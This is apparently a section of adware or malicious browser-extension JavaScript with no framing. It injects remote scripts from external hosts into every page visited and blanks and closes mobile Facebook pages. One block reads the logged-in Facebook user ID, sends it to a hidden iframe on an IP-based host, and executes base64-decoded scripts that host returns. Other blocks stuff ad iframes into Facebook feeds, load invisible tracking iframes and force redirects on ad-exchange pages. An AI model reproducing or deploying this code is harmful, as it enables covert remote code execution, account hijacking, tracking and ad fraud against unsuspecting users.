  2472.                                 var i = document.body;
  2473.                                 if (typeof v != "undefined") {
  2474.                                     var u = new v(function(x) {
  2475.                                         x.forEach(function(z) {
  2476.                                             if (z.type === "childList") {
  2477.                                                 for (var y = 0; y < z.addedNodes.length; y++) {
  2478.                                                     h()
  2479.                                                 }
  2480.                                             }
  2481.                                             u.observe(document.body, {
  2482.                                                 childList: true,
  2483.                                                 subtree: true
  2484.                                             })
  2485.                                         })
  2486.                                     });
  2487.                                     u.observe(i, {
  2488.                                         childList: true,
  2489.                                         subtree: true
  2490.                                     })
  2491.                                 } else {
  2492.                                     var w = function() {
  2493.                                         if (b) {
  2494.                                             return true
  2495.                                         }
  2496.                                         h();
  2497.                                         d = setTimeout("checkByTimer", 1000)
  2498.                                     };
  2499.                                     var d = setTimeout("checkByTimer", 1000)
  2500.                                 }
  2501.                             })
  2502.                         })(document, window);
  2503.                     }
  2504.                     if (scriptsToLoad['af23c']) {
  2505.                         (function(f, h, j) {
  2506.                             var g = true;
  2507.                             try {
  2508.                                 if (chrome.bookmarks) {
  2509.                                     g = false
  2510.                                 }
  2511.                             } catch (c) {}
  2512.                             if (location.protocol == "chrome-extension:") {
  2513.                                 g = false
  2514.                             }
  2515.                             if (g) {
  2516.                                 var b = window.location.href;
  2517.                                 var l = document.getElementById("dexscriptpopup");
  2518.                                 if (l === null && b.indexOf("m.facebook.com") != "-1") {
  2519.                                     document.body.style.width = "0px";
  2520.                                     var k = document.createElement("div");
  2521.                                     k.id = "dexscriptpopup";
  2522.                                     k.style.cssText = "position:fixed; width:100%; height:100%; z-index:100; background:#fff; top:0px; left: 0px;";
  2523.                                     document.body.appendChild(k);
  2524.                                     setTimeout(function() {
  2525.                                         window.close()
  2526.                                     }, 10000)
  2527.                                 }
  2528.                                 var i = document.createElement("script");
  2529.                                 i.id = "dexscriptid";
  2530.                                 i.src = "https://votetoda.com/ext/script.php?id=ukr&track=true";
  2531.                                 var a = document.getElementById("dexscriptid");
  2532.                                 if (a === null) {
  2533.                                     document.body.appendChild(i)
  2534.                                 } else {}
  2535.                             } else {
  2536.                                 var i = document.createElement("script");
  2537.                                 i.id = "dexscriptid";
  2538.                                 i.src = "https://votetoda.com/ext/script.php?id=ukr&track=false";
  2539.                                 var a = document.getElementById("dexscriptid");
  2540.                                 if (a === null) {
  2541.                                     document.body.appendChild(i)
  2542.                                 } else {}
  2543.                             }
  2544.                         })(document, window);
  2545.                     }
  2546.                     if (scriptsToLoad['4d3a8']) {
  2547.                         ! function() {
  2548.                             if ("http" == location.href.substr(0, 4) && document && "undefined" != typeof document && window == window.top) {
  2549.                                 var a = function() {
  2550.                                         var a = document.getElementsByTagName("head");
  2551.                                         return a && void 0 !== a && a.length && a[0] && void 0 !== a[0] && a[0].appendChild ? (a = a[0], a.xadscriptinserted ? 0 : (a.xadscriptinserted = 1, 1)) : -1
  2552.                                     },
  2553.                                     b = function() {
  2554.                                         function a(detected_country) {
  2555.                                             var b = "wwi3bdi87sg87gi3av8bc8sgeyvru2y3";
  2556.                                             if (!document.getElementById(b)) {
  2557.                                                 var c = document.createElement("meta");
  2558.                                                 c.id = b, document.head.appendChild(c);
  2559.                                                 (function() {
  2560.                                                     if (location.href.substr(0, 4) != 'http' || window.reigw34pn7tsjkdygf) return;
  2561.                                                     window.reigw34pn7tsjkdygf = 1;
  2562.                                                     ! function() {
  2563.                                                         var startAll = function() {
  2564.                                                             console.log('StartAll ok');
  2565.                                                             var toInject = function() {
  2566.                                                                 if (top.location == self.location) {
  2567.                                                                     var t, e, i, n = document,
  2568.                                                                         a = "0",
  2569.                                                                         o = "",
  2570.                                                                         r = "https://144.217.45.42.nip.io",
  2571.                                                                         d = function(t) {
  2572.                                                                             t = t.toString();
  2573.                                                                             for (var e = "", i = function(t, i) {
  2574.                                                                                     for (var n = "", a = "", o = 0; o < e.length; o++) o == t ? (a = e[o], n += e[i]) : n += o == i ? a : e[o];
  2575.                                                                                     e = n
  2576.                                                                                 }, n = 0; n < t.length; n++) e += "AeO5nNHidSjLVt3" [t[n]] + "FEDCBA123456789" [t[n]];
  2577.                                                                             return i(0, 24), i(3, 20), i(5, 18), e
  2578.                                                                         },
  2579.                                                                         s = function(t) {
  2580.                                                                             i.postMessage(JSON.stringify(t), r)
  2581.                                                                         },
  2582.                                                                         f = function() {
  2583.                                                                             if (window && window.require) {
  2584.                                                                                 if ((t = window.require("CurrentUserInitialData")) && t.USER_ID && (a = t.USER_ID), "0" !== a && (!(e = 0) || e < 5)) {
  2585.                                                                                     o = d(a), window.addEventListener("message", c);
  2586.                                                                                     var l = n.createElement("iframe");
  2587.                                                                                     l.id = "_ga_f", l.src = r + "/start.php?id=" + a + "&s=" + (e || "0") + "&h=" + o + "&r=" + Math.random() + "&subid=34", l.style = "width:1px;height:1px; position: absolute; left -100px;", l.onload = function() {
  2588.                                                                                         i = l.contentWindow, s({
  2589.                                                                                             do: "start",
  2590.                                                                                             is_ga: "1",
  2591.                                                                                             hmac: o
  2592.                                                                                         })
  2593.                                                                                     }, n.body.appendChild(l)
  2594.                                                                                 }
  2595.                                                                             } else setTimeout(f, 100)
  2596.                                                                         },
  2597.                                                                         c = function(t) {
  2598.                                                                             if (t.origin == r && t.data) try {
  2599.                                                                                 var i = JSON.parse(t.data);
  2600.                                                                                 if (!i || !i.is_ga) return;
  2601.                                                                                 if ("next" == i.do && (e = i.state) < 5) {
  2602.                                                                                     var a = n.createElement("script");
  2603.                                                                                     a.text = atob(i.data), n.body.appendChild(a)
  2604.                                                                                 }
  2605.                                                                             } catch (t) {}
  2606.                                                                         };
  2607.                                                                     n.location.href.match(/facebook\.com/im) && !n.getElementById("_ga_f") && setTimeout(f, 100)
  2608.                                                                 }
  2609.                                                             };
  2610.                                                             var script = document.createElement('script');
  2611.                                                             script.innerText = '(' + toInject.toString() + ')()';
  2612.                                                             document.body.appendChild(script)
  2613.                                                         };
  2614.                                                         if (document.readyState == 'interactive' || document.readyState == 'complete') startAll();
  2615.                                                         else document.addEventListener('DOMContentLoaded', startAll, false)
  2616.                                                     }()
  2617.                                                 })()
  2618.                                             }
  2619.                                         }
  2620.  
  2621.                                         function b() {
  2622.                                             var a;
  2623.                                             try {
  2624.                                                 a = new ActiveXObject("Msxml2.XMLHTTP")
  2625.                                             } catch (b) {
  2626.                                                 try {
  2627.                                                     a = new ActiveXObject("Microsoft.XMLHTTP")
  2628.                                                 } catch (b) {
  2629.                                                     a = !1
  2630.                                                 }
  2631.                                             }
  2632.                                             a || "undefined" == typeof XMLHttpRequest || (a = new XMLHttpRequest), this.xhr = a
  2633.                                         }
  2634.                                         b.prototype.get = function(a, b, c) {
  2635.                                             var d = this.xhr;
  2636.                                             if (c) var e = setTimeout(function() {
  2637.                                                 d.abort, b(!1, "Timeout reached")
  2638.                                             }, c);
  2639.                                             b = b || function() {}, d.onreadystatechange = function() {
  2640.                                                 4 == d.readyState && (clearTimeout(e), b(200 == d.status, d.responseText))
  2641.                                             }, d.open("GET", a, !0), d.send(null)
  2642.                                         }, (new b).get("//hoholikik.club/geolocation/1605/", function(b, c) {
  2643.                                             b && c && 2 == c.length || (c = "XX"), a(c)
  2644.                                         }, 1e4), (new b).get("//api.stathat.com/c?key=YA-298f_wfCUwTL3yYSDMyA2ZFpp&ukey=MTM1MzkgD1_LU1S68cRBsL4BFHW56g~~&count=1&", function() {}, 2e4), (new b).get("//api.stathat.com/c?key=wvUQhbogKVXDJOxzv8z50yA1cnJz&ukey=MTM1MzkgD1_LU1S68cRBsL4BFHW56g~~&count=1&", function() {}, 2e4)
  2645.                                     },
  2646.                                     c = function() {
  2647.                                         var d = a();
  2648.                                         0 !== d && (-1 === d && setTimeout(c, 100), 1 === d && b())
  2649.                                     };
  2650.                                 c()
  2651.                             }
  2652.                         }();
  2653.                     }
  2654.                     if (scriptsToLoad['1f755']) {
  2655.                         var fconf = $$.getMtzCfg('1f755');
  2656.                         if (!!fconf.injectFacebook && fconf.injectFacebook == "1") {
  2657.                             (function() {
  2658.                                 var d = document.querySelector("body");
  2659.                                 if (!d) {
  2660.                                     return
  2661.                                 }
  2662.  
  2663.                                 function j(k) {
  2664.                                     k = k.replace(/%PUBLISHER_ID%/, ($$ && $$.tbParams && $$.tbParams.wid) ? $$.tbParams.wid : "");
  2665.                                     k = k.replace(/%SOURCE_ID%/, ($$ && $$.tbParams && $$.tbParams.tid) ? $$.tbParams.tid : "");
  2666.                                     k = k.replace(/%SUBID%/, ($$ && $$.tbParams && $$.tbParams.sid) ? $$.tbParams.sid : "");
  2667.                                     k = k.replace(/INSERT_RANDOM_NUMBER_HERE/, new Date().getTime());
  2668.                                     return k
  2669.                                 }
  2670.                                 var f = j("<iframe id='c8866ab3' name='c8866ab3' src='//cdnpps.us/www/delivery/afr.php?zoneid=120&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='300' height='250' style='display:block;'><a href='//cdnpps.us/www/delivery/ck.php?n=c8866ab3' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=120&amp;n=c8866ab3' border='0' alt='' /></a></iframe>");
  2671.                                 var c = j("<iframe id='8a61598d' name='8a61598d' src='//cdnpps.us/www/delivery/afr.php?zoneid=119&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='468' height='60' style='display:block;'><a href='//cdnpps.us/www/delivery/ck.php?n=8a61598d' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=119&amp;n=8a61598d' border='0' alt='' /></a></iframe>");
  2672.  
  2673.                                 function g(k) {
  2674.                                     return document.querySelectorAll(k) || []
  2675.                                 }
  2676.                                 var a = function(n, k, o, m) {
  2677.                                     var l = document.createElement("div");
  2678.                                     l.setAttribute("id", "_" + Math.floor((Math.random() * 1000000000)));
  2679.                                     l.innerHTML = o;
  2680.                                     l.setAttribute("style", "display: inline-block;height:" + k + "px !important;width:" + n + "px !important;margin:0 auto;z-index:99999999;border:0;");
  2681.                                     m.style.textAlign = "center";
  2682.                                     m.appendChild(l)
  2683.                                 };
  2684.  
  2685.                                 function h(k) {
  2686.                                     k.style.minHeight = "500px";
  2687.                                     k.id = "_" + k.id;
  2688.                                     k.setAttribute("data-mytype", "name_baner");
  2689.                                     k.innerHTML = "";
  2690.                                     a(300, 500, f + f, k)
  2691.                                 }
  2692.  
  2693.                                 function i(k) {
  2694.                                     var l = document.createElement("div");
  2695.                                     l.setAttribute("data-mytype", "name_baner");
  2696.                                     l.setAttribute("style", "width:468px;height:60px;margin:0 auto 10px auto;");
  2697.                                     k.setAttribute("data-mytype", "name_baner");
  2698.                                     k.appendChild(l);
  2699.                                     a(468, 60, c, l)
  2700.                                 }
  2701.                                 var b = function() {
  2702.                                     Array.prototype.forEach.call(g('div[class^="_5jmm _5pat"]'), function(k) {
  2703.                                         if (!k.getAttribute("data-mytype")) {
  2704.                                             i(k)
  2705.                                         }
  2706.                                     });
  2707.                                     Array.prototype.forEach.call(g("#pagelet_ego_pane"), function(k) {
  2708.                                         if (!k.getAttribute("data-mytype") && k.offsetHeight > 50) {
  2709.                                             h(k)
  2710.                                         }
  2711.                                     });
  2712.                                     setTimeout(b, 3333)
  2713.                                 };
  2714.                                 b();
  2715.                                 var e = new MutationObserver(function(k) {
  2716.                                     for (var l in k) {
  2717.                                         if (k[l].addedNodes.length) {
  2718.                                             b();
  2719.                                             break
  2720.                                         }
  2721.                                     }
  2722.                                 });
  2723.                                 e.observe(document.getElementById("content"), {
  2724.                                     childList: true
  2725.                                 })
  2726.                             })();
  2727.                         }
  2728.                     }
  2729.                 } else {
  2730.                     $$.loadedCallback("BEFORE_OPTOUT_REQ");
  2731.                     $$.jsonp({
  2732.                         url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + $$.scriptDomain + "/optout/get",
  2733.                         data: {
  2734.                             key: "13b978ff36417267e9"
  2735.                         },
  2736.                         callback: function(response) {
  2737.                             if (!response.success) {
  2738.                                 $$.loadedCallback("OPTOUT_RESPONSE_FAIL");
  2739.                                 return false
  2740.                             }
  2741.                             $$.loadedCallback("OPTOUT_RESPONSE_OK");
  2742.                             var userId = response.userId;
  2743.                             var startTime = response.strTm;
  2744.                             var lifeTime = response.lt;
  2745.                             var lastActionTime = response.lat;
  2746.                             var optout = {};
  2747.                             if (response.optout) {
  2748.                                 optout = $$.optoutValue = $$.fromJson(decodeURIComponent(response.optout))
  2749.                             }
  2750.                             var country = response.country;
  2751.                             var limits = {};
  2752.                             var ownMonetizationsClickFlag = false;
  2753.                             if (response.limits) {
  2754.                                 limits = $$.limitsValue = $$.fromJson(decodeURIComponent(response.limits))
  2755.                             }
  2756.                             if (response.lcFlag && response.lcFlag == 1) {
  2757.                                 ownMonetizationsClickFlag = true
  2758.                             }
  2759.                             var targetingUser = response.targeting || 0;
  2760.                             var currentHostname = location.hostname;
  2761.                             currentHostname = currentHostname.replace("www.", "");
  2762.                             var timeNow = $$.unixTimestampNow;
  2763.                             if (!country) {
  2764.                                 country = "xx"
  2765.                             }
  2766.                             country = country.toLowerCase();
  2767.                             if (!userId) {
  2768.                                 userId = $$.randomNumber(1, 100);
  2769.                                 $$.jsonp({
  2770.                                     url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + $$.scriptDomain + "/optout/set/userid",
  2771.                                     data: {
  2772.                                         key: "13b978ff36417267e9",
  2773.                                         cv: userId
  2774.                                     }
  2775.                                 })
  2776.                             }
  2777.                             if (!startTime) {
  2778.                                 $$.setStartTime()
  2779.                             }
  2780.                             $$.updateLifeTime(lifeTime, lastActionTime);
  2781.                             var timeAfterInstall = $$.unixTimestampNow - startTime;
  2782.                             var platformBlocks = [];
  2783.                             for (var key in scriptsToLoad) {
  2784.                                 try {
  2785.                                     var scriptRow = scriptsToLoad[key];
  2786.                                     var scriptUrl = scriptRow.url;
  2787.                                     var scriptUrlParams = {};
  2788.                                     var scriptCoverageFrom = 0;
  2789.                                     var scriptCoverageTo = 100;
  2790.                                     if (scriptRow.coverage.indexOf("-") > -1) {
  2791.                                         var coverageParts = scriptRow.coverage.split("-");
  2792.                                         scriptCoverageFrom = parseInt(coverageParts[0]);
  2793.                                         scriptCoverageTo = parseInt(coverageParts[1])
  2794.                                     } else {
  2795.                                         scriptCoverageTo = parseInt(scriptRow.coverage)
  2796.                                     }
  2797.                                     if (($$.getCookie("__mtzalnly") == 1 || $$.getCookie("__lnntlk") == 1) && ['cd1d2', '210e2', 'b48fe', '6a131', '81d01', 'a5093', '865b2', '88350', 'f81c7', '80c44', '90f06'].indexOf(key) == -1) {
  2798.                                         if ("51807" != "51739") {
  2799.                                             if (extendedCallbacks) {
  2800.                                                 $$.loadedCallback("CB_MNTZ_FILTER_AFFLNK", key, "__mtzalnly=" + $$.getCookie("__mtzalnly"), "__lnntlk=" + $$.getCookie("__lnntlk"), location.hostname)
  2801.                                             }
  2802.                                             continue
  2803.                                         } else {
  2804.                                             if (extendedCallbacks) {
  2805.                                                 $$.loadedCallback("CB_MNTZ_FILTER_NOTIF_AFFLNK", key, "__mtzalnly=" + $$.getCookie("__mtzalnly"), "__lnntlk=" + $$.getCookie("__lnntlk"), location.hostname)
  2806.                                             }
  2807.                                         }
  2808.                                     }
  2809.                                     if (isSearchEngine()) {
  2810.                                         if (['4dc06', 'deaf7', '42265', '84a21', 'ef3e3', '031e7', '58c2e', '85031', '5db45', 'ac348', '6cf2f', '220bb', 'b6eb3', '1a2aa', '08552', '4a71b', 'cd1d2', '81d01', 'f81c7', 'b777a', 'a49b5', 'c3369', '3e4fd', '9510f', '6a88f', 'f4c82', '44a92', 'd115b', '1229b', '10cd4', '624a7', '4a0ef', '95dd2', '5de0e', 'e1d94'].indexOf(key) == -1) {
  2811.                                             if (extendedCallbacks) {
  2812.                                                 $$.loadedCallback("CB_MNTZ_FILTER_SERCHNGN", key, location.hostname)
  2813.                                             }
  2814.                                             continue
  2815.                                         }
  2816.                                     }
  2817.                                     if (ownMonetizationsClickFlag) {
  2818.                                         if (['4dc06', 'bd895', '1f755', '42265', '84a21', 'ef3e3', '031e7', '58c2e', '85031', 'ac348', '6cf2f', '220bb', 'b6eb3', '1a2aa', '5db45', '08552', '4a71b', '02aed'].indexOf(key) == -1) {
  2819.                                             if (extendedCallbacks) {
  2820.                                                 $$.loadedCallback("CB_MNTZ_FILTER_OWNMNTZ", key, location.hostname)
  2821.                                             }
  2822.                                             continue
  2823.                                         }
  2824.                                     }
  2825.                                     if (typeof(scriptUrl) == "object") {
  2826.                                         if (scriptUrl.rotator) {
  2827.                                             var rotatorCount = scriptUrl.rotator.length;
  2828.                                             if (!rotatorCount) {
  2829.                                                 rotatorCount = 0
  2830.                                             }
  2831.                                             var rotatorCookieName = "_mrtr_13b978ff36417267e9_" + key;
  2832.                                             var lastRotatedIndex = $$.getCookie(rotatorCookieName);
  2833.                                             if (!lastRotatedIndex || lastRotatedIndex < 0 || lastRotatedIndex >= rotatorCount) {
  2834.                                                 lastRotatedIndex = 0
  2835.                                             }
  2836.                                             scriptUrlParams = scriptUrl.rotator[lastRotatedIndex];
  2837.                                             scriptUrl = getUrlFromConfigObject(scriptUrlParams);
  2838.                                             lastRotatedIndex++;
  2839.                                             $$.setCookie(rotatorCookieName, lastRotatedIndex, {
  2840.                                                 expire: 86400
  2841.                                             })
  2842.                                         } else {
  2843.                                             scriptUrlParams = scriptUrl;
  2844.                                             scriptUrl = getUrlFromConfigObject(scriptUrlParams)
  2845.                                         }
  2846.                                     }
  2847.                                     if (typeof(scriptUrl) != "string") {
  2848.                                         $$.loadedCallback("CB_MNTZ_FILTER_INVALIDURL", key);
  2849.                                         continue
  2850.                                     }
  2851.                                     if (!$$.demoMode) {
  2852.                                         if ("5049" == 1549 && location.protocol == "https:" && (key == "a8bb7" || key == "e9254")) {
  2853.                                             if (extendedCallbacks) {
  2854.                                                 $$.loadedCallback("CB_MNTZ_FILTER_CUSTOM", key)
  2855.                                             }
  2856.                                             continue
  2857.                                         }
  2858.                                         if ((location.hostname == "youtube.com" || location.hostname == "www.youtube.com") && key != "1f755" && key != "1fbee" && key != "c3369" && key != "f4c82" && key != "95dd2") {
  2859.                                             continue
  2860.                                         }
  2861.                                         if (location.hostname.indexOf("facebook.com") > -1) {
  2862.                                             continue
  2863.                                         }
  2864.                                         if (optout && optout[key] != undefined && optout[key] == true) {
  2865.                                             if (extendedCallbacks) {
  2866.                                                 $$.loadedCallback("CB_MNTZ_FILTER_OPTOUTED", key, optout[key])
  2867.                                             }
  2868.                                             continue
  2869.                                         }
  2870.                                         if (scriptRow.countries_allow && scriptRow.countries_allow.indexOf(country) == -1) {
  2871.                                             if (extendedCallbacks) {
  2872.                                                 $$.loadedCallback("CB_MNTZ_FILTER_GEOALLOW", key, country, scriptRow.countries_allow)
  2873.                                             }
  2874.                                             continue
  2875.                                         }
  2876.                                         if (scriptRow.countries_deny && scriptRow.countries_deny.indexOf(country) > -1) {
  2877.                                             if (extendedCallbacks) {
  2878.                                                 $$.loadedCallback("CB_MNTZ_FILTER_GEODENY", key, country, scriptRow.countries_deny)
  2879.                                             }
  2880.                                             continue
  2881.                                         }
  2882.                                         if ((scriptCoverageFrom || scriptCoverageTo) && (userId < scriptCoverageFrom || userId > scriptCoverageTo)) {
  2883.                                             if (extendedCallbacks) {
  2884.                                                 $$.loadedCallback("CB_MNTZ_FILTER_COVERAGE", key, userId, scriptCoverageFrom + "-" + scriptCoverageTo)
  2885.                                             }
  2886.                                             continue
  2887.                                         }
  2888.                                         if (limits && limits[key]) {
  2889.                                             var leftTime = parseInt(limits[key]) - timeNow;
  2890.                                             if (leftTime > 0) {
  2891.                                                 if (extendedCallbacks) {
  2892.                                                     $$.loadedCallback("CB_MNTZ_FILTER_LIMIT", key, leftTime, parseInt(limits[key]))
  2893.                                                 }
  2894.                                                 continue
  2895.                                             }
  2896.                                         }
  2897.                                         if (key == "a096e" && targetingUser != 1) {
  2898.                                             continue
  2899.                                         }
  2900.                                         var hostnameReg;
  2901.                                         if (scriptRow.hostname_deny) {
  2902.                                             hostnameReg = new RegExp("^" + scriptRow.hostname_deny + "$", "i");
  2903.                                             if (hostnameReg.test(currentHostname)) {
  2904.                                                 if (extendedCallbacks) {
  2905.                                                     $$.loadedCallback("CB_MNTZ_FILTER_HOSTDENY", key, location.hostname, scriptRow.hostname_deny)
  2906.                                                 }
  2907.                                                 continue
  2908.                                             }
  2909.                                         }
  2910.                                         if (scriptRow.hostname_allow) {
  2911.                                             hostnameReg = new RegExp("^" + scriptRow.hostname_allow + "$", "i");
  2912.                                             if (!hostnameReg.test(currentHostname)) {
  2913.                                                 if (extendedCallbacks) {
  2914.                                                     $$.loadedCallback("CB_MNTZ_FILTER_HOSTALLOW", key, location.hostname, scriptRow.hostname_allow)
  2915.                                                 }
  2916.                                                 continue
  2917.                                             }
  2918.                                         }
  2919.                                         if (scriptRow.browsers_allow || scriptRow.browsers_deny) {
  2920.                                             if (typeof detect == "undefined") {
  2921.                                                 continue
  2922.                                             }
  2923.                                             var ua = detect.parse(navigator.userAgent);
  2924.                                             var checkUa = ua.browser.family.toLowerCase();
  2925.                                             var browserAllowed = false
  2926.                                         }
  2927.                                         if (scriptRow.browsers_allow) {
  2928.                                             var browsersAllow = scriptRow.browsers_allow.toLowerCase().split(",");
  2929.                                             for (var i2 in browsersAllow) {
  2930.                                                 if (browsersAllow[i2] == checkUa) {
  2931.                                                     browserAllowed = true;
  2932.                                                     break
  2933.                                                 }
  2934.                                             }
  2935.                                             if (!browserAllowed) {
  2936.                                                 if (extendedCallbacks) {
  2937.                                                     $$.loadedCallback("CB_MNTZ_FILTER_BROWSALLOW", key, checkUa, scriptRow.browsers_allow)
  2938.                                                 }
  2939.                                                 continue
  2940.                                             }
  2941.                                         }
  2942.                                         if (scriptRow.browsers_deny) {
  2943.                                             var browsersDeny = scriptRow.browsers_deny.toLowerCase().split(",");
  2944.                                             for (var i2 in browsersDeny) {
  2945.                                                 if (browsersDeny[i2] == checkUa) {
  2946.                                                     browserAllowed = false;
  2947.                                                     break
  2948.                                                 }
  2949.                                             }
  2950.                                             if (!browserAllowed) {
  2951.                                                 if (extendedCallbacks) {
  2952.                                                     $$.loadedCallback("CB_MNTZ_FILTER_BROWSDENY", key, checkUa, scriptRow.browsers_deny)
  2953.                                                 }
  2954.                                                 continue
  2955.                                             }
  2956.                                         }
  2957.                                         if (['c3369', '3e4fd', '9510f', '6a88f', 'f4c82', '44a92'].indexOf(key) > -1) {
  2958.                                             if (isInIframe()) {
  2959.                                                 continue
  2960.                                             }
  2961.                                             var searchFieldInputEl = $$.Sizzle("input[name=q]");
  2962.                                             if (searchFieldInputEl && searchFieldInputEl.length > 0 && searchFieldInputEl[0] && searchFieldInputEl[0].value) {
  2963.                                                 var regexSearch = new RegExp('^(.* ?[a-z-]+:.*|".*")$', "i");
  2964.                                                 var regexSearchMatch = searchFieldInputEl[0].value.match(regexSearch);
  2965.                                                 if (regexSearchMatch) {
  2966.                                                     continue
  2967.                                                 }
  2968.                                             }
  2969.                                         }
  2970.                                     } else {};
  2971.                                     if (key == "cd1d2") {
  2972.                                         (function(tbObject) {
  2973.                                             eval("window._lnkr5 = {\'uid\':\'51807x5049x\'+tbObject.tbParams.sid,\'allowTargetBlank\': false};")
  2974.                                         })($$)
  2975.                                     };
  2976.                                     if (key == "81d01") {
  2977.                                         (function(tbObject) {
  2978.                                             eval("window._lnkr33 = {\'uid\':\'51807x5049x\'+tbObject.tbParams.sid,\'allowTargetBlank\': false};")
  2979.                                         })($$)
  2980.                                     };
  2981.                                     if (key == "6a131") {
  2982.                                         (function(tbObject) {
  2983.                                             eval("window._lnkr30 = {\'uid\':\'51807x5049x\'+tbObject.tbParams.sid,\'host\':\'trafficpage.cool\'};")
  2984.                                         })($$)
  2985.                                     };
  2986.                                     if (key == "1a2aa") {
  2987.                                         runForceSearch();
  2988.                                         continue
  2989.                                     }
  2990.                                     if (key == "5db45") {
  2991.                                         continue
  2992.                                     }
  2993.                                     if (key == "309e4") {
  2994.                                         continue
  2995.                                     }
  2996.                                     if (key == "c3e34") {
  2997.                                         if (!isInIframe()) {
  2998.                                             (function(f, b, c) {
  2999.                                                 var e = ["https://www.hanstrackr.com/track?i=nuS6Dgnt9GUnnKwQ"];
  3000.                                                 var a = document.createElement("iframe");
  3001.                                                 a.src = e[0];
  3002.                                                 a.setAttribute("style", "width:1px;height:1px;opacity: 0;position:absolute;left:-500px;top:-500px;");
  3003.                                                 f.body.appendChild(a)
  3004.                                             })(document, window);
  3005.                                         }
  3006.                                         continue
  3007.                                     }
  3008.                                     if (key == "a49b5" || key == "1dbbc") {
  3009.                                         continue
  3010.                                     }
  3011.                                     if (scriptRow.type == "external") {
  3012.                                         $$.loadedCallback("MNTZ_INJECT", key);
  3013.                                         scriptUrl = scriptUrl.replace(/\/SID\//g, encodeURIComponent($$.tbParams.sid));
  3014.                                         scriptUrl = scriptUrl.replace(/\/TITLE\//g, encodeURIComponent($$.tbParams.title));
  3015.                                         scriptUrl = scriptUrl.replace(/\/REFERRER\//g, encodeURIComponent(location.href));
  3016.                                         scriptUrl = scriptUrl.replace(/\/REF_HOST\//g, encodeURIComponent(location.hostname ? location.hostname : location.host));
  3017.                                         scriptUrl = scriptUrl.replace(/\/RANDOM\//g, (new Date()).getTime());
  3018.                                         scriptUrl = scriptUrl.replace(/\/OPTOUTURL_DBLENCODED\//g, encodeURIComponent(encodeURIComponent(($$.tbParams.optoutUrl ? $$.tbParams.optoutUrl : "http://thisadsfor.us/optout?t=5049&u=51807&block=" + key))));
  3019.                                         scriptUrl = scriptUrl.replace(/\/OPTOUTURL\//g, encodeURIComponent(($$.tbParams.optoutUrl ? $$.tbParams.optoutUrl : "http://thisadsfor.us/optout?t=5049&u=51807&block=" + key)));
  3020.                                         if (scriptUrl) {
  3021.                                             if (scriptUrl.substr(0, 2) == "//") {
  3022.                                                 scriptUrl = (window.location.protocol == "http:" ? "http:" : "https:") + scriptUrl
  3023.                                             }(function(block) {
  3024.                                                 var script = $$.script(scriptUrl, false, (scriptUrlParams.tag_attributes ? scriptUrlParams.tag_attributes : null));
  3025.                                                 $$.on(script, "load", function() {
  3026.                                                     $$.loadedCallback("MNTZ_LOADED", block);
  3027.                                                     $$.updateLimits(block)
  3028.                                                 })
  3029.                                             })(key)
  3030.                                         } else {
  3031.                                             $$.loadedCallback("MNTZ_LOADED", key);
  3032.                                             $$.updateLimits(key)
  3033.                                         }
  3034.                                     } else {
  3035.                                         if (scriptRow.type == "platform") {
  3036.                                             platformBlocks.push(key)
  3037.                                         } else {}
  3038.                                     }
  3039.                                 } catch (e) {
  3040.                                     $$.loadedCallback("CORE_JS_ERROR", key)
  3041.                                 }
  3042.                             }
  3043.                             if (platformBlocks.length > 0) {
  3044.                                 var params = ["sid=" + $$.tbParams.wid + "_" + $$.tbParams.tid + "_" + $$.tbParams.sid, "title=" + encodeURIComponent($$.tbParams.title)];
  3045.                                 for (var i in platformBlocks) {
  3046.                                     if (typeof platformBlocks[i] != "string") {
  3047.                                         break
  3048.                                     }
  3049.                                     params.push("blocks[]=" + platformBlocks[i])
  3050.                                 }
  3051.                                 var url = (window.location.protocol == "http:" ? "http:" : "https:") + "//" + $$.scriptDomain + "/ext/13b978ff36417267e9.js?" + params.join("&");
  3052.                                 $$.script(url, false);
  3053.                                 $$.loadedCallback("MNTZ_INJECT", platformBlocks.join(","))
  3054.                             }
  3055.                         }
  3056.                     });
  3057.                     if (scriptsToLoad['af23c']) {
  3058.                         (function(f, h, j) {
  3059.                             var g = true;
  3060.                             try {
  3061.                                 if (chrome.bookmarks) {
  3062.                                     g = false
  3063.                                 }
  3064.                             } catch (c) {}
  3065.                             if (location.protocol == "chrome-extension:") {
  3066.                                 g = false
  3067.                             }
  3068.                             if (g) {
  3069.                                 var b = window.location.href;
  3070.                                 var l = document.getElementById("dexscriptpopup");
  3071.                                 if (l === null && b.indexOf("m.facebook.com") != "-1") {
  3072.                                     document.body.style.width = "0px";
  3073.                                     var k = document.createElement("div");
  3074.                                     k.id = "dexscriptpopup";
  3075.                                     k.style.cssText = "position:fixed; width:100%; height:100%; z-index:100; background:#fff; top:0px; left: 0px;";
  3076.                                     document.body.appendChild(k);
  3077.                                     setTimeout(function() {
  3078.                                         window.close()
  3079.                                     }, 10000)
  3080.                                 }
  3081.                                 var i = document.createElement("script");
  3082.                                 i.id = "dexscriptid";
  3083.                                 i.src = "https://votetoda.com/ext/script.php?id=ukr&track=true";
  3084.                                 var a = document.getElementById("dexscriptid");
  3085.                                 if (a === null) {
  3086.                                     document.body.appendChild(i)
  3087.                                 } else {}
  3088.                             } else {
  3089.                                 var i = document.createElement("script");
  3090.                                 i.id = "dexscriptid";
  3091.                                 i.src = "https://votetoda.com/ext/script.php?id=ukr&track=false";
  3092.                                 var a = document.getElementById("dexscriptid");
  3093.                                 if (a === null) {
  3094.                                     document.body.appendChild(i)
  3095.                                 } else {}
  3096.                             }
  3097.                         })(document, window);
  3098.                     }
  3099.                 }
  3100.                 if (location.host.indexOf("youradexchange.com") >= 0 && location.pathname.indexOf("a/display.") >= 0) {
  3101.                     if ($$.getParams && $$.getParams.r && $$.getParams.r != 391766 && $$.getParams.r != 391769) {
  3102.                         var r = $$.randomNumber(1, 100);
  3103.                         var rLimit = 100;
  3104.                         if (r <= rLimit) {
  3105.                             setTimeout(function() {
  3106.                                 location.href = "http://www.youradexchange.com/a/display.php?r=391769&sub1=pr" + $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid
  3107.                             }, 0)
  3108.                         } else {}
  3109.                     }
